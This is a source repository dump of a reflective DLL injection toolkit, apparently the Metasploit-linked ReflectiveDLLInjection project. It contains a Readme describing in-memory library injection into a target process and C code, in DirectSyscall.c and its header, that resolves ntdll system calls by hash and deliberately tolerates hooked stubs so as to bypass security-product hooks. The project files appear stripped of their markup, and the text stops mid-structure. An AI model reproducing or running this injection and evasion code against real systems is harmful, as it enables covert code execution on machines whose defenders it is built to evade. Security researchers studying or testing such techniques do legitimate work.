├── .gitignore ├── LICENSE.txt ├── Readme.md ├── common └── ReflectiveDLLInjection.h ├── cortex.yaml ├── dll ├── reflective_dll.vcxproj ├── reflective_dll.vcxproj.filters └── src │ ├── DirectSyscall.c │ ├── DirectSyscall.h │ ├── GateTrampoline32.asm │ ├── GateTrampoline32.s │ ├── GateTrampoline64.asm │ ├── GateTrampoline64.s │ ├── ReflectiveDll.c │ ├── ReflectiveLoader.c │ └── ReflectiveLoader.h ├── inject ├── inject.vcxproj ├── inject.vcxproj.filters └── src │ ├── GetProcAddressR.c │ ├── GetProcAddressR.h │ ├── Inject.c │ ├── LoadLibraryR.c │ └── LoadLibraryR.h └── rdi.sln /.gitignore: -------------------------------------------------------------------------------- 1 | Release/ 2 | Debug/ 3 | x64/ 4 | dll/Release/ 5 | dll/Debug/ 6 | dll/reflective_dll.vcproj.*.user 7 | dll/reflective_dll.vcxproj.user 8 | inject/Release/ 9 | inject/Debug/ 10 | inject/inject.vcproj.*.user 11 | inject/inject.vcxproj.user 12 | *.ncb 13 | *.suo 14 | *.sdf 15 | *.opensdf 16 | *.suo 17 | bin/ 18 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted 5 | provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this list of 8 | conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this list of 11 | conditions and the following disclaimer in the documentation and/or other materials provided 12 | with the distribution. 13 | 14 | * Neither the name of Harmony Security nor the names of its contributors may be used to 15 | endorse or promote products derived from this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 18 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 19 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 20 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 23 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 24 | OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 25 | POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | About 2 | ===== 3 | 4 | Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. 5 | 6 | Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. 7 | 8 | Overview 9 | ======== 10 | 11 | The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. 12 | 13 | Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. 14 | 15 | * Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. 16 | * As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. 17 | * The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. 18 | * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. 19 | * The library's headers and sections are loaded into their new locations in memory. 20 | * The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. 21 | * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. 22 | * The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. 23 | * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. 24 | 25 | Build 26 | ===== 27 | 28 | Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll 29 | 30 | Usage 31 | ===== 32 | 33 | To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: 34 | 35 | > inject.exe 1234 36 | 37 | License 38 | ======= 39 | 40 | Licensed under a 3 clause BSD license, please see LICENSE.txt for details. 41 | -------------------------------------------------------------------------------- /common/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | 32 | #pragma warning(disable: 4311) 33 | #pragma warning(disable: 4312) 34 | 35 | #define WIN32_LEAN_AND_MEAN 36 | #include 37 | 38 | // we declare some common stuff in here... 39 | 40 | #define DLL_METASPLOIT_ATTACH 4 41 | #define DLL_METASPLOIT_DETACH 5 42 | #define DLL_QUERY_HMODULE 6 43 | 44 | #define DEREF( name )*(UINT_PTR *)(name) 45 | #define DEREF_64( name )*(DWORD64 *)(name) 46 | #define DEREF_32( name )*(DWORD *)(name) 47 | #define DEREF_16( name )*(WORD *)(name) 48 | #define DEREF_8( name )*(BYTE *)(name) 49 | 50 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 51 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 52 | 53 | #define DLLEXPORT __declspec( dllexport ) 54 | 55 | //===============================================================================================// 56 | #endif 57 | //===============================================================================================// -------------------------------------------------------------------------------- /cortex.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | info: 3 | title: Reflectivedllinjection 4 | description: Reflective DLL injection is a library injection technique in which 5 | the concept of reflective programming is employed to perform the loading of a 6 | library from memory into a host process. 7 | x-cortex-git: 8 | github: 9 | alias: r7org 10 | repository: rapid7/ReflectiveDLLInjection 11 | x-cortex-tag: reflectivedllinjection 12 | x-cortex-type: service 13 | x-cortex-domain-parents: 14 | - tag: metasploit 15 | x-cortex-groups: 16 | - exposure:external-ship 17 | openapi: 3.0.1 18 | servers: 19 | - url: "/" 20 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | ARM 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | ARM 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} 31 | reflective_dll 32 | Win32Proj 33 | 10.0 34 | 35 | 36 | 37 | DynamicLibrary 38 | v142 39 | Unicode 40 | false 41 | 42 | 43 | DynamicLibrary 44 | v142 45 | MultiByte 46 | true 47 | 48 | 49 | DynamicLibrary 50 | v142 51 | Unicode 52 | 53 | 54 | DynamicLibrary 55 | v142 56 | Unicode 57 | 58 | 59 | DynamicLibrary 60 | v142 61 | Unicode 62 | false 63 | 64 | 65 | DynamicLibrary 66 | v142 67 | Unicode 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | <_ProjectFileVersion>11.0.50727.1 94 | 95 | 96 | $(SolutionDir)$(Configuration)\ 97 | $(Configuration)\ 98 | true 99 | $(ProjectName).$(Platform) 100 | 101 | 102 | true 103 | $(ProjectName).$(Platform) 104 | 105 | 106 | $(SolutionDir)$(Platform)\$(Configuration)\ 107 | $(Platform)\$(Configuration)\ 108 | true 109 | $(ProjectName).$(Platform) 110 | 111 | 112 | $(SolutionDir)$(Configuration)\ 113 | $(Configuration)\ 114 | false 115 | $(ProjectName).$(Platform) 116 | 117 | 118 | false 119 | $(ProjectName).$(Platform) 120 | 121 | 122 | $(SolutionDir)$(Platform)\$(Configuration)\ 123 | $(Platform)\$(Configuration)\ 124 | false 125 | $(ProjectName).$(Platform) 126 | 127 | 128 | 129 | Disabled 130 | _DEBUG;WIN32;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 131 | false 132 | EnableFastChecks 133 | MultiThreadedDebugDLL 134 | 135 | EnableAllWarnings 136 | ProgramDatabase 137 | ../common 138 | Default 139 | OnlyExplicitInline 140 | false 141 | 142 | 143 | true 144 | Windows 145 | MachineX86 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | Disabled 155 | WIN32;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions);_DEBUG 156 | true 157 | EnableFastChecks 158 | MultiThreadedDebugDLL 159 | 160 | 161 | Level3 162 | EditAndContinue 163 | ../common 164 | Default 165 | OnlyExplicitInline 166 | 167 | 168 | true 169 | Windows 170 | ReflectiveDLLInjection.def 171 | 172 | 173 | 174 | 175 | X64 176 | 177 | 178 | Disabled 179 | _DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 180 | false 181 | EnableFastChecks 182 | MultiThreadedDebugDLL 183 | 184 | EnableAllWarnings 185 | ProgramDatabase 186 | ../common 187 | Default 188 | OnlyExplicitInline 189 | false 190 | 191 | 192 | true 193 | Windows 194 | MachineX64 195 | 196 | 197 | 198 | 199 | 200 | 201 | Custom 202 | OnlyExplicitInline 203 | false 204 | WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 205 | MultiThreaded 206 | true 207 | 208 | EnableAllWarnings 209 | ProgramDatabase 210 | ../common 211 | Default 212 | false 213 | false 214 | /Og %(AdditionalOptions) 215 | Size 216 | true 217 | true 218 | 219 | 220 | true 221 | Windows 222 | true 223 | true 224 | MachineX86 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | Disabled 239 | OnlyExplicitInline 240 | false 241 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions);_DEBUG 242 | MultiThreaded 243 | true 244 | 245 | 246 | Level3 247 | false 248 | Default 249 | ProgramDatabase 250 | ../common 251 | Default 252 | false 253 | 254 | 255 | true 256 | Windows 257 | true 258 | true 259 | $(OutDir)$(TargetName)$(TargetExt) 260 | ReflectiveDLLInjection.def 261 | 262 | 263 | 264 | 265 | X64 266 | 267 | 268 | Custom 269 | OnlyExplicitInline 270 | false 271 | Size 272 | false 273 | _WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 274 | MultiThreaded 275 | true 276 | 277 | EnableAllWarnings 278 | ProgramDatabase 279 | ../common 280 | Default 281 | Default 282 | false 283 | true 284 | true 285 | /Og %(AdditionalOptions) 286 | 287 | 288 | $(OutDir)$(TargetName)$(TargetExt) 289 | true 290 | Windows 291 | true 292 | true 293 | MachineX64 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | true 309 | true 310 | true 311 | true 312 | true 313 | true 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | true 322 | true 323 | true 324 | true 325 | true 326 | true 327 | 328 | 329 | 330 | 331 | 332 | true 333 | true 334 | Document 335 | true 336 | true 337 | 338 | 339 | true 340 | Document 341 | true 342 | true 343 | true 344 | 345 | 346 | 347 | 348 | 349 | 350 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | Source Files 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | -------------------------------------------------------------------------------- /dll/src/DirectSyscall.c: -------------------------------------------------------------------------------- 1 | #include "DirectSyscall.h" 2 | 3 | // Note that compiler optimizations need to be disabled for SyscallStub() and all the rdi...() API functions 4 | // to make sure the stack is setup in a way that can be handle by DoSyscall() assembly code. 5 | #pragma optimize( "g", off ) 6 | #ifdef __MINGW32__ 7 | #pragma GCC push_options 8 | #pragma GCC optimize ("O0") 9 | #endif 10 | 11 | // 12 | // Main stub that is called by all the native API functions 13 | // 14 | #pragma warning(disable: 4100) // warning C4100: unreferenced formal parameter 15 | NTSTATUS SyscallStub(Syscall* pSyscall, ...) { 16 | return DoSyscall(); 17 | } 18 | #pragma warning(default: 4100) 19 | 20 | // 21 | // Native API functions 22 | // 23 | NTSTATUS rdiNtAllocateVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect) { 24 | return SyscallStub(pSyscall, hProcess, pBaseAddress, pZeroBits, pRegionSize, ulAllocationType, ulProtect); 25 | } 26 | 27 | NTSTATUS rdiNtProtectVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, PSIZE_T pNumberOfBytesToProtect, ULONG ulNewAccessProtection, PULONG ulOldAccessProtection) { 28 | return SyscallStub(pSyscall, hProcess, pBaseAddress, pNumberOfBytesToProtect, ulNewAccessProtection, ulOldAccessProtection); 29 | } 30 | 31 | NTSTATUS rdiNtFlushInstructionCache(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, SIZE_T FlushSize) { 32 | return SyscallStub(pSyscall, hProcess, pBaseAddress, FlushSize); 33 | } 34 | 35 | NTSTATUS rdiNtLockVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, PSIZE_T NumberOfBytesToLock, ULONG MapType) { 36 | return SyscallStub(pSyscall, hProcess, pBaseAddress, NumberOfBytesToLock, MapType); 37 | } 38 | 39 | #ifdef __MINGW32__ 40 | #pragma GCC pop_options 41 | #endif 42 | #pragma optimize( "g", on ) 43 | 44 | 45 | // 46 | // Extract the system call trampoline address in ntdll.dll 47 | // 48 | BOOL ExtractTrampolineAddress(PVOID pStub, Syscall *pSyscall) { 49 | if (pStub == NULL || pSyscall == NULL) 50 | return FALSE; 51 | 52 | // If the stub starts with the right bytes, check the syscall number to make sure it is the expected stub. 53 | // Ignore this check if it is hooked (it starts with byte `0xe9`) and assume this is the expected stub. 54 | // Finally, return the address right after the syscall number or the hook. 55 | 56 | #ifdef _WIN64 57 | // On x64 Windows, the function starts like this: 58 | // 4C 8B D1 mov r10, rcx 59 | // B8 96 00 00 00 mov eax, 96h ; syscall number 60 | // 61 | // If it is hooked a `jmp ` will be found instead 62 | // E9 4B 03 00 80 jmp 7FFE6BCA0000 63 | // folowed by the 3 remaining bytes from the original code: 64 | // 00 00 00 65 | if (*(PUINT32)pStub == 0xb8d18b4c && *(PUINT16)((PBYTE)pStub + 4) == pSyscall->dwSyscallNr || *(PBYTE)pStub == 0xe9) { 66 | pSyscall->pStub = (LPVOID)((PBYTE)pStub + 8); 67 | return TRUE; 68 | } 69 | #else 70 | // On x86 ntdll, it starts like this: 71 | // B8 F1 00 00 00 mov eax, 0F1h ; syscall number 72 | // 73 | // If it is hooked a `jmp ` will be found instead 74 | // E9 99 00 00 00 jmp 775ECAA1 75 | if (*(PBYTE)pStub == 0xb8 && *(PUINT16)((PBYTE)pStub + 1) == pSyscall->dwSyscallNr || *(PBYTE)pStub == 0xe9) { 76 | pSyscall->pStub = (LPVOID)((PBYTE)pStub + 5); 77 | return TRUE; 78 | } 79 | #endif 80 | 81 | return FALSE; 82 | } 83 | 84 | // 85 | // Retrieve the syscall data for every functions in Syscalls and UtilitySyscalls arrays of Syscall structures. 86 | // It goes through ntdll exports and compare the hash of the function names with the hash contained in the structures. 87 | // For each matching hash, it extract the syscall data and store it in the structure. 88 | // 89 | BOOL getSyscalls(PVOID pNtdllBase, Syscall* Syscalls[], DWORD dwSyscallSize) { 90 | PIMAGE_DOS_HEADER pDosHdr = NULL; 91 | PIMAGE_NT_HEADERS pNtHdrs = NULL; 92 | PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; 93 | PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL; 94 | PWORD pwAddrOfNameOrdinales = NULL; 95 | DWORD dwIdxfName = 0, dwIdxSyscall = 0; 96 | SYSCALL_LIST SyscallList; 97 | 98 | pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase; 99 | pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew); 100 | pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress); 101 | 102 | pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions); 103 | pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames); 104 | pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals); 105 | 106 | // Populate SyscallList with unsorted Zw* entries. 107 | DWORD i = 0; 108 | SYSCALL_ENTRY* Entries = SyscallList.Entries; 109 | for (dwIdxfName = 0; dwIdxfName < pExportDir->NumberOfNames; dwIdxfName++) { 110 | PCHAR FunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[dwIdxfName]); 111 | 112 | // Selecting only system call functions starting with 'Zw' 113 | if (*(USHORT*)FunctionName == 0x775a) 114 | { 115 | Entries[i].dwCryptedHash = _hash(FunctionName); 116 | Entries[i].pAddress = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[dwIdxfName]]); 117 | 118 | if (++i == MAX_SYSCALLS) 119 | break; 120 | } 121 | } 122 | 123 | // Save total number of system calls found 124 | SyscallList.dwCount = i; 125 | 126 | // Sort the list by address in ascending order. 127 | for (i = 0; i < SyscallList.dwCount - 1; i++) 128 | { 129 | for (DWORD j = 0; j < SyscallList.dwCount - i - 1; j++) 130 | { 131 | if (Entries[j].pAddress > Entries[j + 1].pAddress) 132 | { 133 | // Swap entries. 134 | SYSCALL_ENTRY TempEntry; 135 | 136 | TempEntry.dwCryptedHash = Entries[j].dwCryptedHash; 137 | TempEntry.pAddress = Entries[j].pAddress; 138 | 139 | Entries[j].dwCryptedHash = Entries[j + 1].dwCryptedHash; 140 | Entries[j].pAddress = Entries[j + 1].pAddress; 141 | 142 | Entries[j + 1].dwCryptedHash = TempEntry.dwCryptedHash; 143 | Entries[j + 1].pAddress = TempEntry.pAddress; 144 | } 145 | } 146 | } 147 | 148 | // Find the syscall numbers and trampolins we need 149 | for (dwIdxSyscall = 0; dwIdxSyscall < dwSyscallSize; ++dwIdxSyscall) { 150 | for (i = 0; i < SyscallList.dwCount; ++i) { 151 | if (SyscallList.Entries[i].dwCryptedHash == Syscalls[dwIdxSyscall]->dwCryptedHash) { 152 | Syscalls[dwIdxSyscall]->dwSyscallNr = i; 153 | if (!ExtractTrampolineAddress(SyscallList.Entries[i].pAddress, Syscalls[dwIdxSyscall])) 154 | return FALSE; 155 | break; 156 | } 157 | } 158 | } 159 | 160 | // Last check to make sure we have everything we need 161 | for (dwIdxSyscall = 0; dwIdxSyscall < dwSyscallSize; ++dwIdxSyscall) { 162 | if (Syscalls[dwIdxSyscall]->pStub == NULL) 163 | return FALSE; 164 | } 165 | 166 | return TRUE; 167 | } 168 | -------------------------------------------------------------------------------- /dll/src/DirectSyscall.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // C5045 warning was introduced in Visual Studio 2017 version 15.7 4 | // See https://devblogs.microsoft.com/cppblog/spectre-mitigations-in-msvc/ 5 | // See https://learn.microsoft.com/en-us/cpp/preprocessor/predefined-macros?view=msvc-170 6 | #if _MSC_VER >= 1914 7 | #pragma warning(disable: 5045) // warning C5045: Compiler will insert Spectre mitigation for memory load if /Qspectre switch specified 8 | #endif 9 | #pragma warning(disable: 4820) // warning C4820: X bytes padding added after construct Y 10 | #pragma warning(disable: 4668) // warning C4820: 'symbol' is not defined as a preprocessor macro, replacing with '0' for 'directives' 11 | #pragma warning(disable: 4255) // warning C4820: 'function' : no function prototype given: converting '()' to '(void)' 12 | 13 | #define WIN32_LEAN_AND_MEAN 14 | #include 15 | #include 16 | 17 | #ifdef _WIN64 18 | #define SYS_STUB_SIZE 32 19 | #else 20 | #define SYS_STUB_SIZE 16 21 | #endif 22 | 23 | #define HASH_KEY 13 24 | 25 | #define KERNEL32DLL_HASH 0x6A4ABC5B 26 | #define NTDLLDLL_HASH 0x3CFA685D 27 | 28 | #define ZWALLOCATEVIRTUALMEMORY_HASH 0xD33D4AED 29 | #define ZWPROTECTVIRTUALMEMORY_HASH 0xBC3F4D89 30 | #define ZWFLUSHINSTRUCTIONCACHE_HASH 0x534D8AE8 31 | 32 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 33 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 34 | 35 | //===============================================================================================// 36 | #pragma intrinsic( _rotr ) 37 | 38 | __forceinline DWORD ror(DWORD d) 39 | { 40 | return _rotr(d, HASH_KEY); 41 | } 42 | 43 | __forceinline DWORD _hash(char* c) 44 | { 45 | register DWORD h = 0; 46 | do 47 | { 48 | h = ror(h); 49 | h += *c; 50 | } while (*++c); 51 | 52 | return h; 53 | } 54 | //===============================================================================================// 55 | 56 | 57 | #ifndef NTSTATUS 58 | typedef LONG NTSTATUS; 59 | #endif 60 | 61 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 62 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 63 | 64 | typedef struct { 65 | DWORD dwCryptedHash; 66 | DWORD dwNumberOfArgs; 67 | DWORD dwSyscallNr; 68 | PVOID pStub; 69 | } Syscall; 70 | 71 | typedef struct { 72 | DWORD dwCryptedHash; 73 | PVOID pAddress; 74 | } SYSCALL_ENTRY; 75 | 76 | #define MAX_SYSCALLS 600 77 | typedef struct { 78 | DWORD dwCount; 79 | SYSCALL_ENTRY Entries[MAX_SYSCALLS]; 80 | } SYSCALL_LIST; 81 | 82 | 83 | // The structure definitions below come from the original ReflectiveLoader.h 84 | //===============================================================================================// 85 | typedef struct _UNICODE_STR 86 | { 87 | USHORT Length; 88 | USHORT MaximumLength; 89 | PWSTR pBuffer; 90 | } UNICODE_STR, * PUNICODE_STR; 91 | 92 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 93 | //__declspec( align(8) ) 94 | typedef struct _LDR_DATA_TABLE_ENTRY 95 | { 96 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 97 | LIST_ENTRY InMemoryOrderModuleList; 98 | LIST_ENTRY InInitializationOrderModuleList; 99 | PVOID DllBase; 100 | PVOID EntryPoint; 101 | ULONG SizeOfImage; 102 | UNICODE_STR FullDllName; 103 | UNICODE_STR BaseDllName; 104 | ULONG Flags; 105 | SHORT LoadCount; 106 | SHORT TlsIndex; 107 | LIST_ENTRY HashTableEntry; 108 | ULONG TimeDateStamp; 109 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 110 | 111 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 112 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 113 | { 114 | DWORD dwLength; 115 | DWORD dwInitialized; 116 | LPVOID lpSsHandle; 117 | LIST_ENTRY InLoadOrderModuleList; 118 | LIST_ENTRY InMemoryOrderModuleList; 119 | LIST_ENTRY InInitializationOrderModuleList; 120 | LPVOID lpEntryInProgress; 121 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 122 | 123 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 124 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 125 | { 126 | struct _PEB_FREE_BLOCK* pNext; 127 | DWORD dwSize; 128 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 129 | 130 | // struct _PEB is defined in Winternl.h but it is incomplete 131 | // WinDbg> dt -v ntdll!_PEB 132 | typedef struct __PEB // 65 elements, 0x210 bytes 133 | { 134 | BYTE bInheritedAddressSpace; 135 | BYTE bReadImageFileExecOptions; 136 | BYTE bBeingDebugged; 137 | BYTE bSpareBool; 138 | LPVOID lpMutant; 139 | LPVOID lpImageBaseAddress; 140 | PPEB_LDR_DATA pLdr; 141 | LPVOID lpProcessParameters; 142 | LPVOID lpSubSystemData; 143 | LPVOID lpProcessHeap; 144 | PRTL_CRITICAL_SECTION pFastPebLock; 145 | LPVOID lpFastPebLockRoutine; 146 | LPVOID lpFastPebUnlockRoutine; 147 | DWORD dwEnvironmentUpdateCount; 148 | LPVOID lpKernelCallbackTable; 149 | DWORD dwSystemReserved; 150 | DWORD dwAtlThunkSListPtr32; 151 | PPEB_FREE_BLOCK pFreeList; 152 | DWORD dwTlsExpansionCounter; 153 | LPVOID lpTlsBitmap; 154 | DWORD dwTlsBitmapBits[2]; 155 | LPVOID lpReadOnlySharedMemoryBase; 156 | LPVOID lpReadOnlySharedMemoryHeap; 157 | LPVOID lpReadOnlyStaticServerData; 158 | LPVOID lpAnsiCodePageData; 159 | LPVOID lpOemCodePageData; 160 | LPVOID lpUnicodeCaseTableData; 161 | DWORD dwNumberOfProcessors; 162 | DWORD dwNtGlobalFlag; 163 | LARGE_INTEGER liCriticalSectionTimeout; 164 | DWORD dwHeapSegmentReserve; 165 | DWORD dwHeapSegmentCommit; 166 | DWORD dwHeapDeCommitTotalFreeThreshold; 167 | DWORD dwHeapDeCommitFreeBlockThreshold; 168 | DWORD dwNumberOfHeaps; 169 | DWORD dwMaximumNumberOfHeaps; 170 | LPVOID lpProcessHeaps; 171 | LPVOID lpGdiSharedHandleTable; 172 | LPVOID lpProcessStarterHelper; 173 | DWORD dwGdiDCAttributeList; 174 | LPVOID lpLoaderLock; 175 | DWORD dwOSMajorVersion; 176 | DWORD 